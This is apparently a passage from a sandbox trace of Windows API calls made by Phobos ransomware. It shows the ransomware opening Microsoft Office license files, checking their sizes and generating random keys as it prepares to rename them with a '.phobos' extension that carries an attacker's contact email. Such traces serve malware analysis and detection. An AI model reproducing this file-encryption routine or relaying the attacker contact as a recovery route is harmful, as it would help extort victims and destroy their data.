(lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtest-ul-oob.xrm-ms")) returned 0x220 [0153.225] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtest-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.225] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.226] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.226] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtrial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.226] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11191) returned 1 [0153.226] CloseHandle (hObject=0x574) returned 1 [0153.226] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtrial-pl.xrm-ms")) returned 0x220 [0153.226] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtrial-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.226] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtrial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.227] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.227] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtrial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.227] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=20851) returned 1 [0153.227] CloseHandle (hObject=0x574) returned 1 [0153.227] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtrial-ppd.xrm-ms")) returned 0x220 [0153.227] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtrial-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.227] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtrial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.228] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.228] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.228] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11638) returned 1 [0153.228] CloseHandle (hObject=0x574) returned 1 [0153.228] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtrial-ul-oob.xrm-ms")) returned 0x220 [0153.228] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtrial-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.228] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.229] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.229] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subscription-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.229] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11203) returned 1 [0153.229] CloseHandle (hObject=0x574) returned 1 [0153.229] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subscription-pl.xrm-ms")) returned 0x220 [0153.229] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subscription-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.229] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subscription-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.230] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.230] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subscription-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.230] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=21340) returned 1 [0153.230] CloseHandle (hObject=0x574) returned 1 [0153.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subscription-ppd.xrm-ms")) returned 0x220 [0153.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subscription-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.231] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subscription-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.231] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.231] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.231] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11650) returned 1 [0153.231] CloseHandle (hObject=0x574) returned 1 [0153.231] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subscription-ul-oob.xrm-ms")) returned 0x220 [0153.232] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subscription-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.232] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.232] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.232] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtest-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.232] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11183) returned 1 [0153.232] CloseHandle (hObject=0x574) returned 1 [0153.232] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtest-pl.xrm-ms")) returned 0x220 [0153.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtest-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.233] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtest-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.233] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.233] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtest-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.233] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=20849) returned 1 [0153.233] CloseHandle (hObject=0x574) returned 1 [0153.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtest-ppd.xrm-ms")) returned 0x220 [0153.234] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtest-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.234] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtest-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.234] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.234] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.234] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11629) returned 1 [0153.234] CloseHandle (hObject=0x574) returned 1 [0153.234] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtest-ul-oob.xrm-ms")) returned 0x220 [0153.235] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtest-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.235] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.235] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.235] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtrial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.235] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11187) returned 1 [0153.235] CloseHandle (hObject=0x574) returned 1 [0153.235] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtrial-pl.xrm-ms")) returned 0x220 [0153.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtrial-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.236] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtrial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.236] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.236] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtrial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.236] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=20850) returned 1 [0153.236] CloseHandle (hObject=0x574) returned 1 [0153.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtrial-ppd.xrm-ms")) returned 0x220 [0153.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtrial-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.237] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtrial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.237] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.237] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.237] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11634) returned 1 [0153.237] CloseHandle (hObject=0x574) returned 1 [0153.237] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtrial-ul-oob.xrm-ms")) returned 0x220 [0153.237] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtrial-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.238] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.238] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.238] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.238] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=20779) returned 1 [0153.238] CloseHandle (hObject=0x574) returned 1 [0153.238] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_grace-ppd.xrm-ms")) returned 0x220 [0153.238] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_grace-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.239] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.239] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.239] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.239] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11611) returned 1 [0153.239] CloseHandle (hObject=0x574) returned 1 [0153.239] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_grace-ul-oob.xrm-ms")) returned 0x220 [0153.239] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_grace-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.239] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.240] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.240] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.240] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10655) returned 1 [0153.240] CloseHandle (hObject=0x574) returned 1 [0153.240] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_oem_perp-pl.xrm-ms")) returned 0x220 [0153.240] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program 